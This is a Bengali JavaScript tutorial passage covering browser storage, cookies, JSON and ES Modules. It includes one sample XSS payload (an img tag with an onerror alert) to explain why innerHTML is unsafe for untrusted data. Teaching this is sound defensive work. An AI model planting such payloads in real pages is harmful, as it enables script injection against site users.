const user = { name: "Shariar", age: 24, role: "Developer", }; localStorage.setItem("user", JSON.stringify(user));
এখন object string JSON format-এ save হয়েছে।
const storedUser = localStorage.getItem("user"); const user = JSON.parse(storedUser); console.log(user);
{
name: "Shariar",
age: 24,
role: "Developer"
}
এখন:
console.log(user.name);
Shariar
localStorage.setItem("user", JSON.stringify(user));
const user = JSON.parse(localStorage.getItem("user"));
Read করার সময়:
const skills = ["HTML", "CSS", "JavaScript", "React"]; localStorage.setItem("skills", JSON.stringify(skills));
Read:
const skills = JSON.parse(localStorage.getItem("skills")); console.log(skills);
["HTML", "CSS", "JavaScript", "React"]
ধরো:
const skills = JSON.parse(localStorage.getItem("skills")); skills.push("Node.js"); localStorage.setItem("skills", JSON.stringify(skills));
এখন storage-এ:
HTML CSS JavaScript React Node.js
যদি storage-এ কিছু না থাকে:
const user = JSON.parse(localStorage.getItem("user"));
getItem() যদি null দেয়, তাহলে JSON.parse(null) JavaScript-এ null দেয়, কিন্তু malformed JSON থাকলে error হতে পারে।
Safe pattern:
const storedUser = localStorage.getItem("user"); let user = null; if (storedUser) { try { user = JSON.parse(storedUser); } catch (error) { console.error("Invalid stored user data", error); } } console.log(user);
sessionStorage-ও key-value storage।
sessionStorage.setItem("username", "Shariar");
Read:
console.log(sessionStorage.getItem("username"));
| Feature | localStorage | sessionStorage |
|---|---|---|
| Data format | String | String |
| Persistent | Yes | Session-based |
| Tab-specific | No | Yes |
| Browser restart | Usually remains | Typically cleared when the page session ends |
| API | Same | Same |
setItem() | Yes | Yes |
getItem() | Yes | Yes |
removeItem() | Yes | Yes |
clear() | Yes | Yes |
ধরো একটি checkout process:
Current tab-এর session-এর মধ্যে temporary state রাখতে:
sessionStorage.setItem("checkoutStep", "2");
পরে:
console.log(sessionStorage.getItem("checkoutStep"));
2
এখন localStorage-এর একটি খুব common use case দেখি।
HTML:
<button id="themeBtn">Toggle Theme</button>
JavaScript:
const button = document.querySelector("#themeBtn"); button.addEventListener("click", function () { document.body.classList.toggle("dark"); const isDark = document.body.classList.contains("dark"); localStorage.setItem("theme", isDark ? "dark" : "light"); });
Page reload হলেও theme preference পাওয়া যাবে।
শুধু save করলে হবে না। Page load হলে read করতে হবে।
const savedTheme = localStorage.getItem("theme"); if (savedTheme === "dark") { document.body.classList.add("dark"); }
HTML:
<button id="themeBtn">Dark Mode</button>
CSS:
.dark {
background: #111;
color: white;
}
JavaScript:
const button = document.querySelector("#themeBtn"); const savedTheme = localStorage.getItem("theme"); if (savedTheme === "dark") { document.body.classList.add("dark"); } button.addEventListener("click", function () { document.body.classList.toggle("dark"); const theme = document.body.classList.contains("dark") ? "dark" : "light"; localStorage.setItem("theme", theme); });
এটি real-world website-এ খুব common pattern।
ধরো:
const cart = [ { id: 1, name: "Laptop", price: 70000, }, { id: 2, name: "Mouse", price: 1500, }, ];
Save:
localStorage.setItem("cart", JSON.stringify(cart));
Read:
const cartData = JSON.parse(localStorage.getItem("cart")) || []; console.log(cartData);
এখানে:
|| []
এর কারণে storage-এ cart না থাকলে empty array পাওয়া যাবে।
const product = { id: 3, name: "Keyboard", price: 2500, }; const cart = JSON.parse(localStorage.getItem("cart")) || []; cart.push(product); localStorage.setItem("cart", JSON.stringify(cart));
let cart = JSON.parse(localStorage.getItem("cart")) || []; cart = cart.filter((product) => product.id !== 2); localStorage.setItem("cart", JSON.stringify(cart));
একটি website-এ:
const settings = { theme: "dark", language: "bn", fontSize: "large", }; localStorage.setItem("settings", JSON.stringify(settings));
Read:
const settings = JSON.parse(localStorage.getItem("settings")); console.log(settings.language);
bn
localStorage-এ sensitive information রাখা risky হতে পারে।
বিশেষ করে:
Password Long-lived secret Highly sensitive personal information Authentication secrets
কারণ JavaScript একই origin-এর storage access করতে পারে এবং XSS vulnerability থাকলে attacker storage-এর data পড়তে পারে।
❌ Password localStorage-এ রেখো না।
localStorage.setItem("password", "12345678");
এটা করা উচিত নয়।
অনেক web application authentication-এর জন্য token ব্যবহার করে।
যেমন:
Access Token Refresh Token
বিশেষ করে authentication token localStorage-এ রাখার আগে XSS risk বিবেচনা করতে হয়।
HttpOnly Secure SameSite
cookie attributes ব্যবহার করা যায়।
Cookie হলো browser-এ ছোট data store করার একটি mechanism।
Example:
JavaScript দিয়ে:
document.cookie = "theme=dark";
Read:
console.log(document.cookie);
theme=dark
| Feature | localStorage | Cookie |
|---|---|---|
| Storage | Client-side | Client-side |
| JavaScript access | Yes | Usually yes, unless HttpOnly |
| Automatically sent with HTTP requests | No | Yes, subject to cookie rules |
| Size | তুলনামূলক বেশি | ছোট |
| Expiration | সাধারণত explicit expiration নয় | Expiration সেট করা যায় |
| Server access | Directly নয় | Request-এর সাথে পাঠানো যায় |
| Common use | Preferences, local app state | Session/auth-related state, server-managed preferences |
document.cookie = "theme=dark; max-age=3600; path=/";
এখানে:
theme=dark max-age=3600 seconds path=/
একটি cookie expire করাতে:
document.cookie = "theme=; max-age=0; path=/";
Max-Agemax-age=3600
কত seconds পরে expire করবে।
Expiresনির্দিষ্ট expiry time দেওয়া যায়।
Pathpath=/
কোন path-এ cookie applicable।
SecureHTTPS connection-এর মাধ্যমে cookie পাঠাতে নির্দেশ দেয়।
HttpOnlyJavaScript থেকে cookie access বন্ধ করে।
HttpOnly cookie JavaScript দিয়ে document.cookie থেকে পড়া যায় না।SameSiteCross-site request-এর ক্ষেত্রে cookie behavior নিয়ন্ত্রণে সাহায্য করে।
localStorage ছোট/simple data-এর জন্য ভালো।
কিন্তু যদি বড় বা structured client-side data রাখতে হয়, তখন:
IndexedDB
ব্যবহার করা যায়।
এটি browser-এর একটি asynchronous, transactional, structured database API।
ধরো তুমি বানাচ্ছো:
Offline Notes App Offline Video Metadata App Large Client-side Dataset Offline-first Web App
এখানে হাজার হাজার structured record থাকতে পারে।
তখন localStorage ideal নয়।
| বিষয় | localStorage | IndexedDB |
|---|---|---|
| Data type | String | Structured data |
| API | Simple | More advanced |
| Async | No | Yes |
| Large data | Not suitable | Better |
| Transactions | No | Yes |
| Queries/indexes | Very limited | Supported |
| Complexity | Easy | More complex |
Conceptually:
উদাহরণ:
IndexedDB asynchronous হওয়ায় এর code localStorage-এর তুলনায় বেশি complex।
একটি interesting browser event হলো:
window.addEventListener("storage", function (event) { console.log(event.key); console.log(event.oldValue); console.log(event.newValue); });
storage event সাধারণত অন্য same-origin document/context-এ storage পরিবর্তন হলে useful হয়।
ধরো একই website-এর দুইটি tab খোলা:
Tab B পরিবর্তন detect করতে পারে।
Chrome DevTools-এ:
এখানে দেখতে পারবে:
এটি debugging-এর জন্য খুব useful।
বারবার code না লিখে function তৈরি করতে পারো।
function saveData(key, value) { localStorage.setItem(key, JSON.stringify(value)); }
Use:
saveData("user", {
name: "Shariar",
age: 24,
});
function getData(key) { const data = localStorage.getItem(key); if (!data) { return null; } try { return JSON.parse(data); } catch (error) { console.error("Invalid JSON:", error); return null; } }
Use:
const user = getData("user"); console.log(user);
এটি real project-এ utility হিসেবে ব্যবহার করা যায়।
আরও সুন্দরভাবে:
const storage = { set(key, value) { localStorage.setItem(key, JSON.stringify(value)); }, get(key) { const value = localStorage.getItem(key); if (value === null) { return null; } try { return JSON.parse(value); } catch { return null; } }, remove(key) { localStorage.removeItem(key); }, clear() { localStorage.clear(); }, };
Use:
storage.set("user", {
name: "Shariar",
role: "Developer",
});
Read:
console.log(storage.get("user"));
localStorage খুব useful হলেও সবকিছুর জন্য নয়।
এই chapter থেকে অবশ্যই জানতে হবে:
localStorage.setItem();
localStorage.getItem();
localStorage.removeItem();
localStorage.clear();
localStorage.length;
localStorage.key();
JSON.stringify();
JSON.parse();
sessionStorage.setItem();
sessionStorage.getItem();
document.cookie;
IndexedDB
| কাজ | Code |
|---|---|
| Save | localStorage.setItem("key", "value") |
| Read | localStorage.getItem("key") |
| Delete one | localStorage.removeItem("key") |
| Delete all | localStorage.clear() |
| Count | localStorage.length |
| Get key | localStorage.key(index) |
| Object → String | JSON.stringify(obj) |
| String → Object | JSON.parse(str) |
| Session save | sessionStorage.setItem() |
| Session read | sessionStorage.getItem() |
| Cookie | document.cookie |
| Large structured data | IndexedDB |
Input থেকে name নিয়ে:
এ save করো।
Page reload করার পর name আবার দেখাও।
একটি button বানাও:
User preference localStorage-এ save করো।
এই structure ব্যবহার করো:
{
id: 1,
name: "Laptop",
price: 70000
}
Features:
সব data localStorage-এ রাখো।
Features:
Add Todo Delete Todo Mark Complete Clear All
Page reload করলেও todo যেন থাকে।
Save:
{
name: "Shariar",
studentId: "23105101019",
department: "CSE",
university: "Daffodil International University"
}
localStorage-এ save করে reload-এর পর UI-তে দেখাও।
একটি multi-step form বানাও:
Current step sessionStorage-এ রাখো।
আর বড় structured offline data হলে:
তুমি যদি শুধু একটি জিনিস মনে রাখতে চাও:
const user = { name: "Shariar", role: "Developer", }; // Save localStorage.setItem("user", JSON.stringify(user)); // Read const savedUser = JSON.parse(localStorage.getItem("user")); console.log(savedUser);
এই pattern বুঝে ফেললে localStorage + JSON + object/array persistence-এর মূল concept তোমার পরিষ্কার হয়ে যাবে।
Chapter 18 complete.
পরবর্তী অধ্যায়ে আমরা আধুনিক ওয়েব কমিউনিকেশন ও ডেটা ইন্টারচেঞ্জের বিশ্বজনীন ফরম্যাট JSON (JavaScript Object Notation) নিয়ে গভীরভাবে শিখব—JSON.stringify(), JSON.parse(), replacer ও reviver ফাংশন, deep clone, circular reference হ্যান্ডলিং এবং API ডেটা ফরম্যাটিং।
আধুনিক ওয়েব ডেভেলপমেন্টে ফ্রন্টএন্ড ও ব্যাকএন্ডের মধ্যে ডেটা আদান-প্রদান, ক্লায়েন্ট-সাইড স্টোরেজে অবজেক্ট পারসিস্ট করা এবং বিভিন্ন সিস্টেমের মধ্যে যোগাযোগ স্থাপনের জন্য JSON (JavaScript Object Notation) হলো সবচেয়ে হালকা, দ্রুত এবং বিশ্বজনীন মানদণ্ড।
ফুলস্ট্যাক ও আধুনিক ফ্রন্টএন্ড ইঞ্জিনিয়ারিংয়ে এপিআই কমিউনিকেশনের ভিত্তিই হলো এই JSON আর্কিটেকচার। 🔥
JSON = JavaScript Object Notation
JSON হলো এমন একটি text-based data format, যেটা বিভিন্ন application-এর মধ্যে data আদান-প্রদানের জন্য ব্যাপকভাবে ব্যবহৃত হয়।
সহজভাবে:
Example:
{ "name": "Shariar", "age": 24, "role": "Developer" }
এটি দেখতে JavaScript object-এর মতো।
ধরো Frontend থেকে Backend-এ user data পাঠাবে।
Frontend:
Name: Shariar Email: shariar@gmail.com Age: 24
Backend-এ structured data পাঠানো যায়:
{ "name": "Shariar", "email": "shariar@gmail.com", "age": 24 }
Backend data process করে database-এ save করতে পারে।
Modern web development-এ:
এখানে data আদান-প্রদানের জন্য JSON খুব common।
যেমন:
তুমি Full Stack Developer হিসেবে JSON প্রায় প্রতিদিনই ব্যবহার করবে।
{ "name": "Shariar", "age": 24, "student": true }
এখানে:
অর্থাৎ:
Key : Value
JSON-এ মূলত ৬ ধরনের data থাকে:
{ "name": "Shariar" }
String অবশ্যই double quote-এর মধ্যে হবে।
{ "name": "Shariar" }
{ "name": 'Shariar' }
'...' ব্যবহার করলে SyntaxError হবে)।{ "age": 24, "price": 70000, "rating": 4.5 }
Number-এর জন্য quote লাগে না।
{ "isStudent": true, "isActive": false }
এখানে:
true false
quote-এর মধ্যে থাকবে না।
{ "middleName": null }
এর অর্থ এখানে বর্তমানে কোনো value নেই।
{ "skills": ["HTML", "CSS", "JavaScript", "React"] }
Array-এর মধ্যে multiple values রাখা যায়।
Nested object:
{ "name": "Shariar", "address": { "city": "Dhaka", "country": "Bangladesh" } }
এখানে address নিজেই একটি object।
Real-world API response-এ nested data খুব common।
{ "user": { "id": 101, "name": "Shariar", "profile": { "role": "Developer", "skills": ["JavaScript", "React", "Node.js"] } } }
JavaScript-এ:
console.log(data.user.name);
Shariar
আর:
console.log(data.user.profile.skills[0]);
JavaScript object:
const user = { name: "Shariar", age: 24, };
JSON:
{ "name": "Shariar", "age": 24 }
দেখতে একই রকম হলেও পার্থক্য আছে।
| JavaScript Object | JSON |
|---|---|
| JavaScript-এর data structure | Text-based data format |
| Key quote ছাড়া হতে পারে | Key double quote-এ থাকতে হবে |
| Single quote string হিসেবে ব্যবহার করা যায় | String-এর জন্য double quote |
undefined থাকতে পারে | undefined নেই |
| Function থাকতে পারে | Function নেই |
Date object থাকতে পারে | Native Date type নেই |
| Methods থাকতে পারে | Methods নেই |
| Directly executable data structure | Data representation |
ধরো:
const user = { name: "Shariar", }; console.log(typeof user);
এখন:
const jsonData = '{"name":"Shariar"}'; console.log(typeof jsonData);
string
অর্থাৎ JSON representation সাধারণত JavaScript-এর কাছে string হিসেবে থাকে।
JavaScript value → JSON string
এটাই JSON.stringify()-এর কাজ।
const user = { name: "Shariar", age: 24, }; const jsonData = JSON.stringify(user); console.log(jsonData);
{"name":"Shariar","age":24}
const user = { name: "Shariar", age: 24, }; const jsonData = JSON.stringify(user); console.log(typeof jsonData);
string
JSON string → JavaScript value
const jsonData = '{"name":"Shariar","age":24}'; const user = JSON.parse(jsonData); console.log(user);
{
name: "Shariar",
age: 24
}
console.log(typeof user);
JSON.stringify(data);
JSON.parse(json);
Mental model:
Reverse:
const skills = ["HTML", "CSS", "JavaScript"]; const jsonSkills = JSON.stringify(skills); console.log(jsonSkills);
const jsonSkills = '["HTML","CSS","JavaScript"]'; const skills = JSON.parse(jsonSkills); console.log(skills);
const student = { name: "Shariar", academic: { department: "CSE", semester: 8, }, skills: ["JavaScript", "React", "Node.js"], }; const jsonStudent = JSON.stringify(student); console.log(jsonStudent);
Normally JSON এক লাইনে আসে:
JSON.stringify(student);
কিন্তু readable format চাইলে:
JSON.stringify(student, null, 2);
{ "name": "Shariar", "academic": { "department": "CSE", "semester": 8 }, "skills": ["JavaScript", "React", "Node.js"] }
এখানে:
দিচ্ছে।
Syntax:
JSON.stringify(value, replacer, space);
Example:
JSON.stringify(user, null, 2);
এখানে:
replacer ব্যবহার করে কোন property JSON-এ থাকবে তা control করা যায়।
const user = { name: "Shariar", age: 24, password: "secret123", }; const json = JSON.stringify(user, ["name", "age"]); console.log(json);
{ "name": "Shariar", "age": 24 }
password বাদ গেছে।
আরও advanced:
const user = { name: "Shariar", age: 24, password: "secret", }; const json = JSON.stringify(user, function (key, value) { if (key === "password") { return undefined; } return value; }); console.log(json);
{ "name": "Shariar", "age": 24 }
JSON.parse()-এরও second argument আছে:
JSON.parse(text, reviver);
Example:
const json = ` { "name": "Shariar", "age": 24 } `; const user = JSON.parse(json, function (key, value) { if (key === "age") { return value + 1; } return value; }); console.log(user);
{
name: "Shariar",
age: 25
}
না।
ধরো:
const user = { name: "Shariar", greet() { console.log("Hello"); }, }; const json = JSON.stringify(user); console.log(json);
{ "name": "Shariar" }
greet() বাদ গেছে।
কারণ:
const user = { name: "Shariar", age: undefined, }; console.log(JSON.stringify(user));
{ "name": "Shariar" }
Object-এর property হিসেবে undefined সাধারণত বাদ যায়।
const data = ["HTML", undefined, "JavaScript"]; console.log(JSON.stringify(data));
["HTML", null, "JavaScript"]
অর্থাৎ array-এর ক্ষেত্রে undefined → null হয়ে যায়।
const data = { a: NaN, b: Infinity, c: -Infinity, }; console.log(JSON.stringify(data));
{ "a": null, "b": null, "c": null }
JSON-এ এগুলোর আলাদা standard number representation নেই।
JavaScript:
const data = { createdAt: new Date(), }; console.log(JSON.stringify(data));
Date সাধারণত ISO string representation-এ serialize হয়।
উদাহরণ:
{ "createdAt": "2026-09-16T09:55:00.000Z" }
অর্থাৎ JSON-এ native Date type নেই।
JSON থেকে date parse করলে:
const data = JSON.parse(json); console.log(typeof data.createdAt);
string
এটি আবার Date object বানাতে:
const date = new Date(data.createdAt); console.log(date);
একটি object নিজেকেই reference করলে:
const user = { name: "Shariar", }; user.self = user;
এখন:
JSON.stringify(user);
কারণ JSON-এর normal object structure circular reference represent করতে পারে না।
Invalid JSON parse করলে error হবে।
const json = '{"name":"Shariar"'; try { const data = JSON.parse(json); console.log(data); } catch (error) { console.error("Invalid JSON:", error.message); }
এখানে Chapter 14-এর try...catch আবার কাজে লাগছে।
{ "name": "Shariar" }
{ name: "Shariar" }
{ "name": "Shariar" }
{ "name": 'Shariar' }
{ "name": "Shariar", "age": 24, }
{ "name": "Shariar", "age": 24 }
{ "name": "Shariar" // user name }
Standard JSON-এ comments নেই।
JSON আলাদা .json file হিসেবেও রাখা যায়।
File:
Content:
{ "students": [ { "id": 1, "name": "Shariar", "department": "CSE" }, { "id": 2, "name": "Rahim", "department": "EEE" } ] }
এ ধরনের file configuration বা static data-এর জন্য ব্যবহার করা যায়।
এখানে Chapter 21-এ আমরা fetch() বিস্তারিত শিখব; এখন শুধু JSON-এর সাথে relation দেখছি।
fetch("students.json") .then((response) => response.json()) .then((data) => { console.log(data); });
{
students: [
{
id: 1,
name: "Shariar",
department: "CSE"
},
...
]
}
ধরো server response:
{ "success": true, "message": "Login successful", "user": { "id": 101, "name": "Shariar", "role": "student" } }
Frontend:
console.log(data.success);
true
আর:
console.log(data.user.name);
Shariar
একটি typical API request:
Request body:
{ "name": "Shariar", "email": "shariar@gmail.com", "role": "student" }
Server response:
{ "success": true, "message": "User created", "userId": 101 }
এই pattern তুমি React + Node.js/Express project-এ অনেক দেখবে।
HTTP API-তে JSON পাঠানোর সময় সাধারণত:
Content-Type: application/json
ব্যবহার করা হয়।
JavaScript:
fetch("/api/users", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify({ name: "Shariar", email: "shariar@gmail.com", }), });
এখানে:
body: JSON.stringify(...)
JSON.stringify() দরকার?এই object:
{
name: "Shariar",
age: 24
}
JavaScript object।
HTTP request body-তে JSON পাঠাতে:
JSON.stringify({ name: "Shariar", age: 24, });
হলে:
{ "name": "Shariar", "age": 24 }
হয়।
Server response যদি JSON হয়, তখন:
const response = await fetch("/api/users"); const data = await response.json();
এখানে:
response.json();
response body-এর JSON data parse করে JavaScript value দেয়।
এটি Chapter 21-এ বিস্তারিত শিখব।
Chapter 18-এর concept আবার:
const user = { name: "Shariar", role: "Developer", }; localStorage.setItem("user", JSON.stringify(user));
Read:
const user = JSON.parse(localStorage.getItem("user"));
এখানে JSON হলো bridge:
Primitive/simple JSON-compatible data-এর ক্ষেত্রে:
const original = { name: "Shariar", skills: ["HTML", "CSS"], }; const copy = JSON.parse(JSON.stringify(original));
এতে আলাদা object তৈরি হয়।
copy.name = "Ripon"; console.log(original.name);
Shariar
তবে এটি general-purpose deep clone solution নয়।
কারণ Date, Map, Set, undefined, functions, circular references ইত্যাদির ক্ষেত্রে JSON cloning data পরিবর্তন/হারাতে পারে বা error দিতে পারে।
Modern JavaScript-এ সাধারণ structured data clone করতে:
structuredClone(original);
অনেক ক্ষেত্রে বেশি উপযুক্ত।
JSON নিজে dangerous নয়।
ধরো server থেকে:
{ "message": "<img src=x onerror=alert('XSS')>" }
তুমি যদি এটাকে:
element.innerHTML = data.message;
দাও, security problem তৈরি হতে পারে।
বরং সাধারণ text হলে:
element.textContent = data.message;
ব্যবহার করা safer।
Large project-এ JSON data-এর structure define করার প্রয়োজন হয়।
যেমন:
JSON Schema দিয়ে বলা যায়:
{ "type": "object", "properties": { "name": { "type": "string" }, "age": { "type": "number" } }, "required": ["name", "age"] }
এটি data structure validation-এর জন্য ব্যবহার করা যায়।
ধরো API response:
{ "success": true, "students": [ { "id": 1, "name": "Shariar", "department": "CSE", "cgpa": 3.75 }, { "id": 2, "name": "Rahim", "department": "EEE", "cgpa": 3.5 } ] }
JavaScript:
const data = { success: true, students: [ { id: 1, name: "Shariar", department: "CSE", cgpa: 3.75, }, { id: 2, name: "Rahim", department: "EEE", cgpa: 3.5, }, ], }; data.students.forEach((student) => { console.log(student.name, student.cgpa); });
Shariar 3.75 Rahim 3.5
const names = data.students.map((student) => student.name); console.log(names);
["Shariar", "Rahim"]
CSE students:
const cseStudents = data.students.filter( (student) => student.department === "CSE", ); console.log(cseStudents);
[
{
id: 1,
name: "Shariar",
department: "CSE",
cgpa: 3.75,
},
];
const student = data.students.find((student) => student.id === 1); console.log(student);
{
id: 1,
name: "Shariar",
department: "CSE",
cgpa: 3.75
}
একটি real-world application:
এটাই modern web development-এর একটি core data flow।
JSON.stringify(); JSON.parse();
replacer reviver pretty printing
No functions No undefined No comments No native Date No Map/Set No circular references
| কাজ | Code |
|---|---|
| Object → JSON | JSON.stringify(object) |
| Array → JSON | JSON.stringify(array) |
| JSON → Object | JSON.parse(json) |
| Pretty JSON | JSON.stringify(data, null, 2) |
| Filter properties | JSON.stringify(data, ["name"]) |
| Custom stringify | JSON.stringify(data, replacer) |
| Custom parse | JSON.parse(json, reviver) |
| JSON API body | JSON.stringify(data) |
| JSON response parse | response.json() |
| localStorage save | JSON.stringify(data) |
| localStorage read | JSON.parse(data) |
এই object তৈরি করো:
const student = { name: "Shariar", id: "23105101019", department: "CSE", semester: 8, skills: ["HTML", "CSS", "JavaScript", "React"], };
এটাকে JSON string-এ convert করো।
এই JSON parse করো:
{ "name": "Shariar", "age": 24, "role": "Full Stack Developer" }
তারপর:
console.log(user.name); console.log(user.role);
করো।
Nested object তৈরি করে:
JSON.stringify(data, null, 2);
দিয়ে সুন্দর JSON output তৈরি করো।
এই structure ব্যবহার করো:
const products = [ { id: 1, name: "Laptop", price: 70000, }, { id: 2, name: "Mouse", price: 1500, }, { id: 3, name: "Keyboard", price: 2500, }, ];
তারপর:
একটি user object:
{
name: "Shariar",
email: "shariar@gmail.com",
role: "Developer"
}
localStorage-এ save করো এবং page reload-এর পরে আবার object হিসেবে retrieve করো।
এই data:
const user = { name: "Shariar", email: "shariar@gmail.com", };
fetch() request-এর JSON body হিসেবে পাঠানোর code লেখো।
তুমি যদি পুরো chapter থেকে শুধু এই flow-টা ভালোভাবে বুঝে ফেলো:
তাহলে JSON-এর fundamental concept তোমার পরিষ্কার।
Chapter 19 complete.
পরবর্তী অধ্যায়ে আমরা আধুনিক মডুলার জাভাস্ক্রিপ্ট আর্কিটেকচার ES Modules (ESM) নিয়ে বিস্তারিত শিখব—import, export, Named Export, Default Export, Dynamic Import (import()), import.meta, এবং CommonJS বনাম ES Modules-এর পার্থক্য।
প্রফেশনাল সফটওয়্যার ইঞ্জিনিয়ারিংয়ে কোনো বড় কোডবেস একটিমাত্র ফাইলে রাখা অসম্ভব। কোডবেসকে পরিষ্কার, রিইউজেবল, সহজে টেস্টেবল এবং মেইনটেইনেবল রাখতে জাভাস্ক্রিপ্টের অফিসিয়াল মডিউল স্ট্যান্ডার্ড ES Modules (ESM) ব্যবহার করা হয়।
React, Vue, Next.js বা Node.js যেকোনো আধুনিক ফ্রন্টএন্ড ফ্রেমওয়ার্কের ভিত্তিই হলো এই মডিউল সিস্টেম। 🔥
Module হলো JavaScript code-এর একটি আলাদা file, যেখানে নির্দিষ্ট functionality রাখা হয় এবং প্রয়োজন হলে অন্য file-এ export / import করা যায়।
সহজভাবে:
প্রতিটি file নিজের কাজ করবে।
ধরো তুমি একটি E-commerce website বানাচ্ছো।
সব code এক file-এ:
এটা বড় হলে manage করা কঠিন।
তার বদলে:
এটাই modular architecture।
1. Code organization 2. Reusability 3. Maintainability 4. Encapsulation 5. Namespace pollution কমানো 6. Dependency management 7. Team collaboration সহজ
ধরো:
function add(a, b) { return a + b; } console.log(add(10, 20));
30
এখন add() অন্য file-এ ব্যবহার করতে চাই।
এখানেই module দরকার।
Modern JavaScript-এ module system হলো:
ES Modules বা ESM
এর প্রধান keyword:
export import
math.jsexport function add(a, b) { return a + b; }
app.jsimport { add } from "./math.js"; console.log(add(10, 20));
30
এখানে:
Browser-এ ES Module ব্যবহার করতে:
<script type="module" src="./js/app.js"> </script>
type="module"
না দিলে browser এটাকে normal script হিসেবে treat করবে এবং import/export কাজ করবে না।
index.html<!DOCTYPE html> <html> <head> <title>JS Modules</title> </head> <body> <h1>JavaScript Modules</h1> <script type="module" src="./js/app.js"> </script> </body> </html>
math.jsexport function add(a, b) { return a + b; } export function subtract(a, b) { return a - b; }
app.jsimport { add, subtract } from "./math.js"; console.log(add(10, 5)); console.log(subtract(10, 5));
15 5
একাধিক function export করতে:
export function add(a, b) { return a + b; } export function multiply(a, b) { return a * b; } export const PI = 3.14159;
Import:
import { add, multiply, PI } from "./math.js";
Function-এর সামনে export না দিয়ে শেষেও export করা যায়।
function add(a, b) { return a + b; } function subtract(a, b) { return a - b; } export { add, subtract };
Import:
import { add, subtract } from "./math.js";
দুটো approach valid।
যদি:
export function add() {} export function subtract() {}
তাহলে:
import { add, subtract } from "./math.js";
এটাই named import।
ধরো:
import { add as sum } from "./math.js"; console.log(sum(10, 20));
30
এখানে:
নামে locally ব্যবহার করছি।
এভাবেও করা যায়:
function add(a, b) { return a + b; } export { add as sum };
তখন import:
import { sum } from "./math.js";
একটি module-এর একটি default export থাকতে পারে।
export default function add(a, b) { return a + b; }
Import:
import add from "./math.js";
এখানে {} লাগে না।
ধরো:
export default function add(a, b) { return a + b; }
Import:
import sum from "./math.js";
এটাও valid।
কারণ default export import করার সময় local নাম তুমি নিজেই দিতে পারো।
| বিষয় | Named Export | Default Export |
|---|---|---|
| Syntax | export { add } | export default add |
| Import | { add } | add |
| Multiple | Yes | One default per module |
| Rename | as দিয়ে | Import-এই নাম দেওয়া যায় |
Example:
// Named export { add, subtract };
Import:
import { add, subtract } from "./math.js";
Default:
export default add;
Import:
import add from "./math.js";
এটাও করা যায়।
export const PI = 3.14159; export function multiply(a, b) { return a * b; } export default function add(a, b) { return a + b; }
Import:
import add, { PI, multiply } from "./math.js";
সব named export একসাথে object-এর মতো ব্যবহার করতে:
import * as math from "./math.js"; console.log( math.add(10, 20) ); console.log( math.multiply(5, 4) );
এখানে:
math.add() math.multiply() math.PI
ব্যবহার করা যাবে।
ধরো:
Import:
import * as utils from "./utils.js"; utils.formatDate(); utils.formatCurrency(); utils.capitalize();
এতে related functions একটি namespace-এর মধ্যে থাকে।
কখনো শুধু module execute করাতে import করা হয়।
import "./analytics.js";
এখানে কোনো function import করছি না।
শুধু:
হবে।
Normal script-এ global variable তৈরি হতে পারে।
Module-এ:
const username = "Shariar";
এই variable automatically global scope-এ চলে যায় না।
অন্য module সরাসরি:
console.log(username);
করতে পারবে না।
যদি দরকার হয়:
export const username = "Shariar";
তারপর:
import { username } from "./user.js";
ধরো:
const password = "secret123"; export const username = "Shariar";
অন্য module password access করতে পারবে না।
শুধু exported values accessible।
এটি encapsulation-এর basic form।
ধরো:
app.js যদি auth.js import করে এবং auth.js যদি api.js import করে, তাহলে dependency chain তৈরি হয়।
Modern bundlers এই dependency graph analyze করে।
যদি structure:
তাহলে:
import { add } from "./utils.js";
./ মানে current directory।
Structure:
app.js থেকে:
import { add } from "./utils/math.js";
আর nested file থেকে parent-এ যেতে:
../
ব্যবহার হয়।
Browser-based native ES Modules-এ:
import { add } from "./math.js";
.js extension explicitly দেওয়া ভালো/প্রয়োজনীয়।
Bundler-based project যেমন Vite/webpack-এ tooling কিছু path handling করতে পারে, কিন্তু native browser module বুঝতে এই বিষয়টি জানা জরুরি।
<script type="module" src="./app.js"> </script>
Module scripts:
import/export support করেModule code automatically strict mode semantics-এ চলে।
তাই সাধারণত:
"use strict";
আলাদাভাবে লেখার দরকার নেই।
Example:
x = 10;
Module-এ undeclared variable assignment error দেবে।
Module-এর top-level this:
console.log(this);
Browser ES module-এ সাধারণত:
undefined
পাওয়া যায়।
এটি normal classic script-এর behavior থেকে আলাদা।
সবসময় module শুরুতেই load করতে হবে এমন নয়।
Runtime-এ module load করা যায়:
const module = await import("./math.js"); console.log( module.add(10, 20) );
এটাকে:
Dynamic Import
বলে।
ধরো user একটা বিশেষ feature click করল:
শুরুতেই editor code load না করে প্রয়োজনের সময় load করা যায়।
এতে বড় application-এর initial loading optimize করা সম্ভব।
import("./math.js") .then(module => { console.log( module.add(10, 20) ); });
কারণ dynamic import() একটি Promise return করে।
একটি module-এর exports অন্য module থেকে re-export করা যায়।
math.jsexport function add(a, b) { return a + b; } export function subtract(a, b) { return a - b; }
index.jsexport * from "./math.js";
এখন অন্য file:
import { add, subtract } from "./index.js";
এটাকে barrel/re-export pattern-এর basic example হিসেবে দেখতে পারো।
export { add as sum } from "./math.js";
এখন:
import { sum } from "./index.js";
export { default } from "./math.js";
অথবা:
export { default as calculate } from "./math.js";
একটি ছোট e-commerce project:
Responsibilities:
এটাই modular thinking।
export function saveData(key, value) { localStorage.setItem( key, JSON.stringify(value) ); } export function getData(key) { const data = localStorage.getItem(key); return data ? JSON.parse(data) : null; } export function removeData(key) { localStorage.removeItem(key); }
import { saveData, getData, removeData } from "./storage.js"; const user = { name: "Shariar", role: "Developer" }; saveData("user", user); console.log( getData("user") );
{
name: "Shariar",
role: "Developer"
}
export function capitalize(text) { return ( text.charAt(0).toUpperCase() + text.slice(1) ); } export function calculateDiscount( price, discount ) { return price - (price * discount / 100); }
Use:
import { capitalize, calculateDiscount } from "./utils.js"; console.log( capitalize("shariar") ); console.log( calculateDiscount(1000, 10) );
Shariar 900
Class-ও export করা যায়।
export class User { constructor(name) { this.name = name; } greet() { return `Hello ${this.name}`; } }
Import:
import { User } from "./User.js"; const user = new User("Shariar"); console.log( user.greet() );
Hello Shariar
export const API_URL = "https://example.com/api";
Import:
import { API_URL } from "./config.js"; console.log(API_URL);
Real project-এ configuration আলাদা module-এ রাখা common।
Module-এর ভিতরে:
export async function getUsers() { const response = await fetch("/api/users"); return response.json(); }
অন্য module:
import { getUsers } from "./api.js"; const users = await getUsers(); console.log(users);
Modern modules-এ top-level await-ও supported environments-এ ব্যবহার করা যায়।
Module-এর top level-এ:
const response = await fetch("/api/users"); const users = await response.json(); console.log(users);
